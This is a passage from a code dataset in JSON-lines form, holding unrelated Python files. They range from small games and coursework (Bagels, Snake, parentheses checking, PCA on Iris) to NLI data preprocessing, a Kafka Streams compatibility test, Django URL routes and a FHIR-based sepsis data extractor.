area\n","sub_path":"Python/883_Projection_Area_of_3D_Shapes.py","file_name":"883_Projection_Area_of_3D_Shapes.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"649672063","text":"\"\"\"\nAssignment 1B - Machine Learning\nBy: David Walesby - 000732130\nPurpose: To create a script that can read information from a csv file into numpy arrays\n Using this information getting the min, max and mean of the different features\n Creating scatterplot graphs of two features\n Creating bargraphs of the outcome of the class labels\n\"\"\"\nfrom matplotlib import pyplot as plt\nimport csv\nimport numpy as np\nimport random\n\n# Created this to make an easy to read output for later on in the assignment when we need to print out min,max mean\n# of each row in the two data sets\ndef formatString(npArray , minMaxOrMean, trainingOrTesting):\n print(\"%8s %5s: %10.1f | %16.2f | %11.2f | %14.1f | %9.3f | %19.1f | %20.1f | %7.4f | %4.2f | %9.2f | %7.1f | %7.1f\"\n %(trainingOrTesting,minMaxOrMean,npArray[0],npArray[1],npArray[2],npArray[3],npArray[4],\n npArray[5],npArray[6],npArray[7],npArray[8],npArray[9],\n npArray[10],npArray[11]))\n\n# Initializing lists\nfeatureNames = []\ntrainingData = []\ntrainingLabels = []\ntestingData = []\ntestingLabels = []\n\n# Opens the csv file and adds the data from it into different arrays based on the\n# First row is a header containing feature names so they get places in the featureNames list\n# Randomly generated number from 0 - 100 to determine if the dataset will be in the testing\n# Or training datasets\nwith open(\"winequality-red.csv\") as file:\n csv_reader = csv.reader(file , delimiter=\",\")\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n featureNames.append(row)\n line_count += 1\n else:\n randomNumber = random.randint(1 , 101)\n if randomNumber > 25:\n testingData.append(row)\n else:\n trainingData.append(row)\n line_count += 1\n print(f'Processed {line_count} lines.')\n\n# Converts dataset arrays into np arrays of type float\ntrainingData = np.array(trainingData, dtype=np.float32)\ntestingData = np.array(testingData, dtype=np.float32)\n\n# Gets the min max and mean of the training dataset\ntrainingMin = trainingData.min(axis=0)\ntrainingMax = trainingData.max(axis=0)\ntrainingMean = trainingData.mean(axis=0)\n\n# Gets the min max and mean of the testing dataset\ntestingMin = testingData.min(axis=0)\ntestingMax = testingData.max(axis=0)\ntestingMean = testingData.mean(axis=0)\n\n# Prints out the feature names\nprint(\"Features: \" + ' ' * 3 + \"%13s | %16s | %11s | %14s | %9s | %19s | %20s | %7s | %4s | %9s | %7s | %7s\"\n %(featureNames[0][0],featureNames[0][1],featureNames[0][2],featureNames[0][3],\n featureNames[0][4],featureNames[0][5],featureNames[0][6],featureNames[0][7],\n featureNames[0][8],featureNames[0][9],featureNames[0][10],featureNames[0][11]))\n\n# For making my outputs look nice\nformatString(trainingMin,\"Min\",\"Training\")\nformatString(trainingMax,\"Max\",\"Training\")\nformatString(trainingMean,\"Mean\",\"Training\")\nformatString(testingMin,\"Min\",\"Testing\")\nformatString(testingMax,\"Max\",\"Testing\")\nformatString(testingMean,\"Mean\",\"Testing\")\n\n# Scatterpoint graph about the different types of Acidity in wine\nplt.figure(1)\nplt.scatter(testingData[:,0],testingData[:,1], marker='.', c='purple')\nplt.title(\"Fixed vs Volatile Acidity\")\nplt.ylabel(\"Volatile Acidity\")\nplt.xlabel(\"Fixed Acidity\")\nplt.show()\n\n# Scatterpoint graph about the different types of sulfur dioxide in wine\nplt.figure(2)\nplt.scatter(testingData[:,5],testingData[:,6], marker='.', c='red')\nplt.title(\"Free vs Total Sulfur Dioxide\")\nplt.ylabel(\"Total sulfur dioxide\")\nplt.xlabel(\"Free sulfur dioxide\")\nplt.show()\n\n# Scatterpoint graph about ph and sulphates in wine\nplt.figure(3)\nplt.scatter(testingData[:,8],testingData[:,9], marker='.', c='green')\nplt.title(\"PH vs Sulphates\")\nplt.ylabel(\"PH\")\nplt.xlabel(\"Sulphates\")\nplt.show()\n\ntrainingLabels = np.array(trainingData[:,11], dtype=np.int64)\ntestingLabels = np.array(testingData[:,11], dtype=np.int64)\nxAxis = [0,1,2,3,4,5,6,7,8]\n\n# The bar graph that shows the testing sets wine qualities\nplt.figure(4)\ntrainingY = np.bincount(trainingLabels)\nplt.bar(xAxis,trainingY)\nplt.title(\"Training Set Quality of Wine\")\nplt.ylabel(\"Amount of Wines\")\nplt.xlabel(\"Quality of Wine\")\nplt.show()\n\n# creates the bar graph that shows the training sets wine qualities\nplt.figure(5)\ntestingY = np.bincount(testingLabels)\nplt.bar(xAxis,testingY)\nplt.title(\"Testing Set Quality of Wine\")\nplt.ylabel(\"Amount of Wines\")\nplt.xlabel(\"Quality of Wine\")\nplt.show()\n\n\n","sub_path":"Assignment1B/assignment1b.py","file_name":"assignment1b.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"49115608","text":"import random\r\n\r\ndef getnumber(numbersize):\r\n numbers = list(range(10))\r\n random.shuffle(numbers)\r\n secretnum = ''\r\n \r\n for i in range(numbersize):\r\n secretnum += str(numbers[i])\r\n return secretnum\r\n\r\ndef getclues(conjeture,secretnum):\r\n if conjeture == secretnum:\r\n return \"You get it, You won!\"\r\n \r\n clue = []\r\n\r\n for i in range(len(conjeture)):\r\n if conjeture[i] == secretnum[i]:\r\n clue.append('fermi')\r\n elif conjeture[i] in secretnum:\r\n clue.append('pico')\r\n if len(clue) == 0:\r\n return 'bagels'\r\n\r\n clue.sort()\r\n return ''.join(clue)\r\n\r\ndef isnumber(num):\r\n if num == '':\r\n return False\r\n\r\n for i in num:\r\n if i not in '0 1 2 3 4 5 6 7 8 9'.split():\r\n return False\r\n return True\r\n\r\ndef playagain():\r\n print(\"do you want to play again ? | 'y' or 'n' \")\r\n return input().lower().startswith('y')\r\n\r\n\r\n#################\r\n\r\nnumbersize = 3\r\nmaxguess = 10\r\n\r\nprint(\"I'm thinking a %s digits number, guess it\" %(numbersize))\r\nprint(\"Here you have some clues:\")\r\nprint(\"bagels: None of the three digits guessed is in the secret number.\")\r\nprint(\"pico: One of the digits is in the secret number, but the guess has the digit in the wrong place.\")\r\nprint(\"fermi: The guess has a correct digit in the correct place.\")\r\n\r\nwhile True:\r\n secretnum = getnumber(numbersize)\r\n print(f\"i've thougth a {numbersize} digits number, you have {maxguess} oportunites to guess it\")\r\n attemps = 1\r\n print(secretnum)\r\n while attemps <= maxguess:\r\n conjeture = ''\r\n while len(conjeture) != numbersize or not isnumber(conjeture):\r\n print(f'conjeture number {attemps}')\r\n conjeture = input()\r\n\r\n clue = getclues(conjeture,secretnum)\r\n print(clue)\r\n attemps+=1\r\n\r\n if conjeture == secretnum:\r\n break\r\n if attemps > maxguess:\r\n print(f\"You lose my number was{secretnum}\")\r\n\r\n if not playagain():\r\n break\r\n \r\n","sub_path":"guessmynumber.py","file_name":"guessmynumber.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"442898693","text":"\ninput_contract = \"./infinite_loop/results/infinite_loop_AutoExtract_corenodes_gcn.txt\"\ncontract = open(input_contract, \"r\")\ncontracts = contract.readlines()\ninput_label = \"./infinite_loop/infinite_loop_label.txt\"\nlabel = open(input_label, \"r\")\nlabels = label.readlines()\ninput_name = \"./infinite_loop/infinite_loop_name.txt\"\nname = open(input_name, \"r\")\nnames = name.readlines()\ninput_number = \"./infinite_loop/infinite_loop_number.txt\"\nnumber = open(input_number, \"r\")\nnumbers = number.readlines()\n\nout_att= \"./infinite_loop/att.txt\"\nf_w = open(out_att, \"a\")\nout_label = \"./infinite_loop/label.txt\"\nf_l = open(out_label, \"a\")\n\ncount = 0\nfragment = []\n\nfor i in range(len(names)):\n name = names[i].strip()\n label = labels[i].strip()\n number = numbers[i].strip()\n\n for k in range(int(number)):\n for j in range(len(contracts)):\n if name == contracts[j].strip():\n count += 1\n fragment.append(contracts[j])\n elif count != 0:\n if \".c\" in contracts[j].strip():\n count = 0\n break\n else:\n fragment.append(contracts[j])\n\n for m in range(len(fragment)):\n f_w.write(fragment[m])\n f_l.write(label + '\\n')\n fragment = []\n","sub_path":"graph_data/data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"590363041","text":"# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom ducktape.mark import ignore\nfrom ducktape.mark import parametrize\nfrom ducktape.tests.test import Test\nfrom ducktape.utils.util import wait_until\nfrom kafkatest.services.kafka import KafkaService\nfrom kafkatest.services.streams import StreamsBrokerCompatibilityService\nfrom kafkatest.services.verifiable_consumer import VerifiableConsumer\nfrom kafkatest.services.zookeeper import ZookeeperService\nfrom kafkatest.version import DEV_BRANCH, LATEST_0_11_0, LATEST_0_10_2, LATEST_0_10_1, LATEST_0_10_0, LATEST_0_9, LATEST_0_8_2, KafkaVersion\n\n\nclass StreamsBrokerCompatibility(Test):\n \"\"\"\n These tests validates that\n - Streams 0.11+ w/ EOS fails fast for older brokers 0.10.2 and 0.10.1\n - Streams 0.11+ w/o EOS works for older brokers 0.10.2 and 0.10.1\n - Streams fails fast for 0.10.0 brokers\n - Streams times-out for pre-0.10.0 brokers\n \"\"\"\n\n input = \"brokerCompatibilitySourceTopic\"\n output = \"brokerCompatibilitySinkTopic\"\n\n def __init__(self, test_context):\n super(StreamsBrokerCompatibility, self).__init__(test_context=test_context)\n self.zk = ZookeeperService(test_context, num_nodes=1)\n self.kafka = KafkaService(test_context,\n num_nodes=1,\n zk=self.zk,\n topics={\n self.input: {'partitions': 1, 'replication-factor': 1},\n self.output: {'partitions': 1, 'replication-factor': 1}\n })\n self.consumer = VerifiableConsumer(test_context,\n 1,\n self.kafka,\n self.output,\n \"stream-broker-compatibility-verify-consumer\")\n\n def setUp(self):\n self.zk.start()\n\n \n @parametrize(broker_version=str(LATEST_0_10_2))\n @parametrize(broker_version=str(LATEST_0_10_1))\n def test_fail_fast_on_incompatible_brokers_if_eos_enabled(self, broker_version):\n self.kafka.set_version(KafkaVersion(broker_version))\n self.kafka.start()\n\n processor = StreamsBrokerCompatibilityService(self.test_context, self.kafka, True)\n processor.start()\n\n processor.node.account.ssh(processor.start_cmd(processor.node))\n with processor.node.account.monitor_log(processor.STDERR_FILE) as monitor:\n monitor.wait_until('FATAL: An unexpected exception org.apache.kafka.common.errors.UnsupportedVersionException: The broker does not support LIST_OFFSETS ',\n timeout_sec=60,\n err_msg=\"Never saw 'FATAL: An unexpected exception org.apache.kafka.common.errors.UnsupportedVersionException: The broker does not support LIST_OFFSETS ' error message \" + str(processor.node.account))\n\n self.kafka.stop()\n\n @parametrize(broker_version=str(LATEST_0_11_0))\n @parametrize(broker_version=str(LATEST_0_10_2))\n @parametrize(broker_version=str(LATEST_0_10_1))\n def test_compatible_brokers_eos_disabled(self, broker_version):\n self.kafka.set_version(KafkaVersion(broker_version))\n self.kafka.start()\n\n processor = StreamsBrokerCompatibilityService(self.test_context, self.kafka, False)\n processor.start()\n\n self.consumer.start()\n\n processor.wait()\n\n wait_until(lambda: self.consumer.total_consumed() > 0, timeout_sec=30, err_msg=\"Did expect to read a message but got none within 30 seconds.\")\n\n self.consumer.stop()\n self.kafka.stop()\n\n @parametrize(broker_version=str(LATEST_0_10_0))\n def test_fail_fast_on_incompatible_brokers(self, broker_version):\n self.kafka.set_version(KafkaVersion(broker_version))\n self.kafka.start()\n\n processor = StreamsBrokerCompatibilityService(self.test_context, self.kafka, False)\n processor.start()\n\n processor.node.account.ssh(processor.start_cmd(processor.node))\n with processor.node.account.monitor_log(processor.STDERR_FILE) as monitor:\n monitor.wait_until('FATAL: An unexpected exception org.apache.kafka.streams.errors.StreamsException: Could not create topic kafka-streams-system-test-broker-compatibility-KSTREAM-AGGREGATE-STATE-STORE-0000000001-changelog.',\n timeout_sec=60,\n err_msg=\"Never saw 'FATAL: An unexpected exception org.apache.kafka.streams.errors.StreamsException: Could not create topic kafka-streams-system-test-broker-compatibility-KSTREAM-AGGREGATE-STATE-STORE-0000000001-changelog.' error message \" + str(processor.node.account))\n\n self.kafka.stop()\n\n @ignore\n @parametrize(broker_version=str(LATEST_0_9))\n @parametrize(broker_version=str(LATEST_0_8_2))\n def test_timeout_on_pre_010_brokers(self, broker_version):\n self.kafka.set_version(KafkaVersion(broker_version))\n self.kafka.start()\n\n processor = StreamsBrokerCompatibilityService(self.test_context, self.kafka, False)\n processor.start()\n\n processor.node.account.ssh(processor.start_cmd(processor.node))\n with processor.node.account.monitor_log(processor.STDERR_FILE) as monitor:\n monitor.wait_until('Exception in thread \"main\" org.apache.kafka.streams.errors.BrokerNotFoundException: Could not find any available broker.',\n timeout_sec=60,\n err_msg=\"Never saw 'no available brokers' error message \" + str(processor.node.account))\n\n self.kafka.stop()\n","sub_path":"tests/kafkatest/tests/streams/streams_broker_compatibility_test.py","file_name":"streams_broker_compatibility_test.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"464588721","text":"from django.views.decorators.cache import cache_page\nfrom messages.views import *\n\n__author__ = 'Zhou Guangwen'\nfrom django.conf.urls import patterns, url\n\nurlpatterns = patterns('messages.views',\n url(r'^$', 'index', name=\"messages_index\"),\n url(r'^message/(?P\\d+)/$', 'detail', name=\"messages_detail\"),\n url(r'^message/vote/like/(?P\\d+)/$', 'vote_like', name=\"vote_like\"),\n url(r'^message/vote/unlike/(?P\\d+)/$', 'vote_unlike', name=\"vote_unlike\"),\n url(r'^category/(?P\\d+)/$', 'by_category', name=\"category_messages\"),\n url(r'^search/(?P.+)$', 'search', name='search'),\n url(r'^image/department/(?P\\d+)/$', cache_page(60 * 600)(get_department_image),\n name=\"get_department_image\"),\n url(r'^image_big/department/(?P\\d+)/$',\n cache_page(60 * 600)(get_department_image_big),\n name=\"get_department_image_big\"),\n url(r'^image/employee/(?P\\d+)/$', get_employee_image,\n name=\"get_employee_image\"),\n url(r'^attachment/(?P\\d+)/$', cache_page(60 * 600)(get_attachment),\n name=\"get_attachment\"),\n url(r'reload/(?P\\d+)/$', reload_cache, name=\"reload_cache\"),\n url(r'category/lazy_load/$', lazy_load, name=\"lazy_load\"),\n)","sub_path":"messages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"324909802","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.preprocessing import scale\n\n\nfrom sklearn import decomposition\nfrom sklearn import datasets\n\nnp.random.seed(5)\n\ncenters = [[1, 1], [-1, -1], [1, -1]]\niris = datasets.load_iris()\nX = iris.data\norig_X = X\ny = iris.target\ndata = scale(iris.data)\nn_samples, n_features = data.shape\n\nfig = plt.figure(1, figsize=(4, 3))\nplt.clf()\nax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)\n\nplt.cla()\npca = decomposition.PCA(n_components=3)\npca.fit(X)\nX = pca.transform(X)\n# import ipdb; ipdb.set_trace()\n# print pca.explained_variance_\n\n# n_samples = X.shape[0]\n# We center the data and compute the sample covariance matrix.\n# X -= np.mean(X, axis=0)\n# cov_matrix = np.dot(X.T, X) / n_samples\n# import ipdb; ipdb.set_trace()\n# for eigenvector in pca.components_:\n# print(np.dot(eigenvector.T, np.dot(cov_matrix, eigenvector)))\nX_centered = orig_X - np.mean(orig_X, axis=0)\neigenvalues = pca.explained_variance_\ncov_matrix = np.dot(X_centered.T, X_centered) / n_samples\nfor eigenvalue, eigenvector in zip(eigenvalues, pca.components_): \n print(np.dot(eigenvector.T, np.dot(cov_matrix, eigenvector)))\n print(eigenvalue)\n\nfor name, label in [('Setosa', 0), ('Versicolour', 1), ('Virginica', 2)]:\n ax.text3D(X[y == label, 0].mean(),\n X[y == label, 1].mean() + 1.5,\n X[y == label, 2].mean(), name,\n horizontalalignment='center',\n bbox=dict(alpha=.5, edgecolor='w', facecolor='w'))\n# Reorder the labels to have colors matching the cluster results\ny = np.choose(y, [1, 2, 0]).astype(np.float)\nax.scatter(X[:, 0], X[:, 1], X[:, 2], c=y, #cmap=plt.cm.spectral,\n edgecolor='k')\n\nax.w_xaxis.set_ticklabels([])\nax.w_yaxis.set_ticklabels([])\nax.w_zaxis.set_ticklabels([])\n\nplt.show()","sub_path":"Unsupervised_Learning/PCA/PCA_Iris.py","file_name":"PCA_Iris.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"310539722","text":"# 괄호 (백준 9012번 파이썬)\n\n\"\"\"\n괄호 문자열(Parenthesis String, PS)은 두 개의 괄호 기호인 ‘(’ 와 ‘)’ 만으로 구성되어 있는 문자열이다.\n그 중에서 괄호의 모양이 바르게 구성된 문자열을 올바른 괄호 문자열(Valid PS, VPS)이라고 부른다.\n한 쌍의 괄호 기호로 된 “( )” 문자열은 기본 VPS 이라고 부른다.\n만일 x 가 VPS 라면 이것을 하나의 괄호에 넣은 새로운 문자열 “(x)”도 VPS 가 된다.\n그리고 두 VPS x 와 y를 접합(concatenation)시킨 새로운 문자열 xy도 VPS 가 된다.\n예를 들어 “(())()”와 “((()))” 는 VPS 이지만 “(()(”, “(())()))” , 그리고 “(()” 는 모두 VPS 가 아닌 문자열이다.\n\n여러분은 입력으로 주어진 괄호 문자열이 VPS 인지 아닌지를 판단해서 그 결과를 YES 와 NO 로 나타내어야 한다.\n\"\"\"\n\nimport sys\n\ndef valid_check(string):\n check_list = []\n\n for i in string:\n if i == \"(\":\n check_list.append(i)\n elif i == \")\":\n if not check_list:\n return False\n else:\n check_list.pop()\n\n return True if not check_list else False\n\n\nn = int(sys.stdin.readline())\n\nfor i in range(n):\n string = sys.stdin.readline().strip()\n print(\"YES\" if valid_check(string) else \"NO\")\n\n\n\"\"\" \n# 수행시간이 더 짧은 코드\n\nimport sys\nn=int(sys.stdin.readline())\nfor i in range(n):\n chk=0\n a=sys.stdin.readline().rstrip()\n for j in range(len(a)):\n if a[j]=='(':\n chk+=1\n else:\n chk-=1\n if chk==-1:\n break\n if chk==0:\n print('YES')\n else:\n print('NO')\n\"\"\"","sub_path":"스택(Stack)/stack2_valid parenthesis string.py","file_name":"stack2_valid parenthesis string.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"13683819","text":"from turtle import Turtle\nimport time\n\nMOVE_DISTANCE = 15\nRIGHT = 0\nLEFT = 180\nUP = 90\nDOWN = 270\nHEAD_SHAPE = \"triangle\"\nBODY_SHAPE = \"square\"\nCOLOR = \"white\"\nSNAKE_BODY_LENGTH = 4\n\n\nclass Snake:\n\n def __init__(self) -> None:\n self.segments = []\n self._create_snake()\n self.head = self.segments[0]\n self.head.shape(HEAD_SHAPE)\n\n def _create_snake(self) -> None:\n for _ in range(SNAKE_BODY_LENGTH):\n self.add_segment()\n\n def add_segment(self) -> None:\n segment = Turtle(shape=BODY_SHAPE)\n segment.color(COLOR)\n segment.pensize(20)\n segment.penup()\n self.segments.append(segment)\n prvious = self.segments[-1]\n segment.goto((\n prvious.xcor() +\n prvious.pensize(),\n prvious.ycor()))\n\n def move(self) -> None:\n for seg_num in range(len(self.segments) - 1, 0, -1):\n new_x = self.segments[seg_num - 1].xcor()\n new_y = self.segments[seg_num - 1].ycor()\n self.segments[seg_num].goto(new_x, new_y)\n self.head.forward(MOVE_DISTANCE)\n\n def up(self) -> None:\n if self.head.heading() != DOWN:\n self.head.setheading(UP)\n\n def down(self) -> None:\n if self.head.heading() != UP:\n self.head.setheading(DOWN)\n\n def right(self) -> None:\n if self.head.heading() != LEFT:\n self.head.setheading(RIGHT)\n\n def left(self) -> None:\n if self.head.heading() != RIGHT:\n self.head.setheading(LEFT)\n\n def reset(self):\n for seg in self.segments:\n seg.goto(1000, 1000)\n self.segments.clear()\n self._create_snake()\n self.head = self.segments[0]\n self.head.shape(HEAD_SHAPE)\n","sub_path":"day-24-snake-game-files/sanke_game_score_log/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"478337936","text":"from operator import attrgetter\n\nfrom rosalind.core.rosalindsolution import RosalindSolution\nfrom rosalind.solutions import problem_order\nfrom rosalind.utils.parsers.fastaparser import FastaParser\n\n\nclass RosalindImplementation(RosalindSolution):\n def __init__(self):\n super().__init__()\n self.problem_name = self.get_pname(__file__)\n self.problem_number = problem_order.index(self.problem_name)\n\n def solve(self, instream, outstream):\n s, t = map(attrgetter('read'), FastaParser(instream))\n s_counter, index, s_i = enumerate(s), None, None\n for t_i in t:\n while s_i != t_i:\n index, s_i = next(s_counter)\n print(index + 1, end=' ', file=outstream)\n index, s_i = next(s_counter)\n print(file=outstream)\n","sub_path":"rosalind/solutions/sseq.py","file_name":"sseq.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"171052726","text":"import torch\nimport numpy as np\nimport json\nimport re\n\ndata_prop = {\n 'snli': {\n 'train': {\n 'fname': '../data/snli_1.0/snli_1.0/snli_1.0_train.jsonl',\n 'length': 550152\n },\n 'dev': {\n 'fname': '../data/snli_1.0/snli_1.0/snli_1.0_dev.jsonl',\n 'length': 10000\n },\n 'test': {\n 'fname': '../data/snli_1.0/snli_1.0/snli_1.0_test.jsonl',\n 'length': 10000\n }\n },\n 'multinli': {\n 'train': {\n 'fname': '../data/multinli_1.0/multinli_1.0/multinli_1.0_train.jsonl',\n 'length': 392702\n },\n 'dev_matched': {\n 'fname': '../data/multinli_1.0/multinli_1.0/multinli_1.0_dev_matched.jsonl',\n 'length': 10000\n },\n 'dev_mismatched': {\n 'fname': '../data/multinli_1.0/multinli_1.0/multinli_1.0_dev_mismatched.jsonl',\n 'length': 10000\n }\n }\n}\n\nembds_data_path = '../data/embds'\nembds_dim = 300\nvocab_size = 2196017\n\nLHS_max_sent_len = 401\nRHS_max_sent_len = 70\n\ntokenize_reg = re.compile(r'[ ()]')\n\nnull_string = ''\npad_string = '-'\n\nlabel_to_ix = {pad_string: 0, 'entailment': 1, 'neutral': 2, 'contradiction': 3}\n\n\ndef get_preprocessed_data(embds_fname, out_fname, saved_embds=True, saved_data=True):\n if saved_embds:\n embds_data = torch.load(embds_fname)\n embds = embds_data['embds']\n word_to_ix = embds_data['word_to_ix']\n else:\n embds, word_to_ix = read_pre_trained_embeds(vocab_size, embds_dim)\n torch.save({\n 'embds': embds,\n 'word_to_ix': word_to_ix\n }, embds_fname)\n\n # iterate over the different data-sets and extract the data from them\n data = {}\n if saved_data:\n data = torch.load(out_fname)\n else:\n for dname in data_prop:\n data[dname] = read_data(data_prop[dname], word_to_ix, label_to_ix)\n torch.save(data, out_fname)\n\n return embds, data, word_to_ix, label_to_ix\n\n\ndef read_pre_trained_embeds(vocab_size, embds_dim):\n with open(embds_data_path, 'r', encoding='utf-8') as f:\n\n embeds = torch.zeros(vocab_size, embds_dim)\n word_to_ix = {pad_string: 0, null_string: 1}\n\n i = 0\n for line in f.readlines():\n # all values separated by space\n # first value is the word, the rest are the embeddings\n content = line.split(' ')\n\n # add word to dictionary\n if content[0] not in word_to_ix:\n word_to_ix[content[0]] = len(word_to_ix)\n\n # add embed vector\n embeds_arr = np.array(content[1:])\n embeds_arr = embeds_arr.astype(float)\n embeds[i] = torch.tensor(embeds_arr)\n\n i += 1\n\n return embeds, word_to_ix\n\n\ndef read_data(props, word_to_ix, label_to_ix):\n\n ret = {}\n\n for ds_type in props:\n\n current_props = props[ds_type]\n\n data_size = current_props['length']\n LHS_word_ixs = torch.zeros(data_size, LHS_max_sent_len).long()\n RHS_word_ixs = torch.zeros(data_size, RHS_max_sent_len).long()\n LHS_lens = torch.zeros(data_size).long()\n RHS_lens = torch.zeros(data_size).long()\n labels = torch.zeros(data_size).long()\n\n with open(current_props['fname'], 'r', encoding='utf-8') as f:\n i = 0\n for line in f.readlines():\n line = json.loads(line)\n\n # Add gold label to labels\n labels[i] = label_to_ix[line['gold_label']]\n\n # Extract the tokens from the sentence\n LHS_tokens = token_ixs_in_sentence(line['sentence1_binary_parse'], word_to_ix)\n RHS_tokens = token_ixs_in_sentence(line['sentence2_binary_parse'], word_to_ix)\n\n LHS_word_ixs[i][:LHS_tokens.size(0)] = LHS_tokens\n RHS_word_ixs[i][:RHS_tokens.size(0)] = RHS_tokens\n\n LHS_lens[i] = LHS_tokens.size(0)\n RHS_lens[i] = RHS_tokens.size(0)\n\n i += 1\n\n ret[ds_type] = (LHS_word_ixs, RHS_word_ixs, LHS_lens, RHS_lens, labels)\n\n return ret\n\n\ndef token_ixs_in_sentence(sentence, word_to_ix):\n tokens = tokenize_reg.split(sentence)\n\n # filter blanks\n tokens = list(filter(lambda x: x != '', tokens))\n\n # convert word to indexes\n token_ixs = list(map(lambda x: word_to_ix[x] if x in word_to_ix else word_to_ix[null_string], tokens))\n\n return torch.tensor(token_ixs).long()\n\n\nif __name__ == '__main__':\n preprocessed_data_fname = '../data/preprocessed_data'\n embds_fname = '../data/embds'\n get_preprocessed_data(embds_fname, preprocessed_data_fname, True, False)\n","sub_path":"Exercises/Ass.4/code/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"641099205","text":"import pandas as pd\n\nfrom sepsisML.model import *\nfrom sepsisML import logger\nfrom sepsisML.errors import PatientNotFound, InvalidId, NotEnoughData\nfrom sepsisML.request_handler import request_handler\nfrom sepsisML.parser.cleaner import conditions, observations, utils\nfrom sepsisML import settings\n\ndef combine(dfs):\n try:\n df_ = pd.concat([dfs[0], dfs[1]], axis=1, join='inner')\n df_ = utils.remove_unnamed(df_)\n for df in dfs[2:]:\n df_ = pd.concat([df_, df], axis=1, join='inner')\n df_ = utils.remove_unnamed(df_)\n \n return df_\n except IndexError:\n raise NotEnoughData(\"Not enough data\")\n\n\ndef get_fhir_data(patient_id, endpoint, version):\n for patient in patient_id:\n logger.info(\"- Getting patient data\")\n df_patient = get_patient(patient, endpoint, version)\n\n logger.info(\"- Getting observations data\")\n df_observation = get_observations(patient, endpoint, version)\n\n logger.info(\"- Getting conditions data\")\n df_condition = get_conditions(patient, endpoint, version)\n\n logger.info(\"- Merging of data\")\n raw_combinelist = [df_patient, df_observation, df_condition]\n combinelist = [dataframe for dataframe in raw_combinelist if dataframe is not None]\n df_final = combine(combinelist)\n \n return df_final\n\n\"\"\" ============ PATIENT EXTRACTION: ============ \"\"\"\n\ndef get_patient_generic(raw_patient):\n # http://localhost:5656/api/v1/predict?patient=fc200fa2-12c9-4276-ba4a-e0601d424e55&endpoint=smart&version=4\n # http://localhost:5656/api/v1/predict?patient=smart-7321938&endpoint=smart&version=3\n # http://localhost:5656/api/v1/predict?patient=8ab4791f-0790-44f3-97c0-88f14c9329da&endpoint=smart&version=2\n\n df_patient = pd.DataFrame([raw_patient])\n\n df_patient['gender'] = df_patient['gender'].apply(lambda x: 1 if x.lower()==\"male\" else 0).values[0] if key_exist(df_patient, 'gender') else -1\n\n try:\n df_patient['id'] = df_patient['id'].apply(lambda x: utils.remove_prefix(x))\n except KeyError:\n raise InvalidId(\"Invalid patient ID\") \n\n df_patient.set_index('id', inplace=True)\n return df_patient\n\n\ndef get_patient(patient, endpoint, version): \n raw_patient = request_handler.fhir( id=patient, api='Patient', server=endpoint, version=version)\n return eval(settings.MAP_ENDPOINT[endpoint]['version'][version]['get_patient'])(raw_patient)\n\n\"\"\" ============ OBSERVATION EXTRACTION: ============ \"\"\"\n\ndef get_observations_generic(raw_observations):\n try:\n df_observation = pd.DataFrame(raw_observations['entry'])\n except:\n return None\n \n df_observation['procedure'] = df_observation['resource'].apply(lambda x: observations.extract_procedure(x))\n \n df_observation['measurement'] = df_observation['resource'].apply(lambda x: observations.extract_measure(x))\n df_observation['value'] = df_observation['resource'].apply(lambda x: observations.extract_value(x))\n df_observation['id'] = df_observation['fullUrl'].apply(lambda x: utils.remove_prefix(x))\n df_observation['patient'] = df_observation['resource'].apply(lambda x: observations.extract_patient(x))\n # df_observation['procedure'] = utils.create_others(df_observation, 'procedure', 'id')\n\n df_obs_pivot = df_observation.pivot_table(index='patient', columns='procedure', values='value', aggfunc = 'mean')\n df_obs_pivot.fillna(0, inplace=True)\n\n return df_obs_pivot\n\n\ndef get_observations(patient, endpoint, version):\n raw_observations = request_handler.fhir( id=patient, api='Observation', server=endpoint, version=version)\n return eval(settings.MAP_ENDPOINT[endpoint]['version'][version]['get_observations'])(raw_observations)\n\n\"\"\" ============ CONDITIONS EXTRACTION: ============ \"\"\"\n\ndef get_conditions_generic(raw_conditions):\n try:\n df_condition = pd.DataFrame(raw_conditions['entry'])\n except Exception:\n return None\n\n df_condition = conditions.extract_condition_data(df_condition)\n df_condition = conditions.filter_out_after_sepsis(df_condition)\n df_condition['conditions'] = df_condition['conditions'].apply(lambda x: 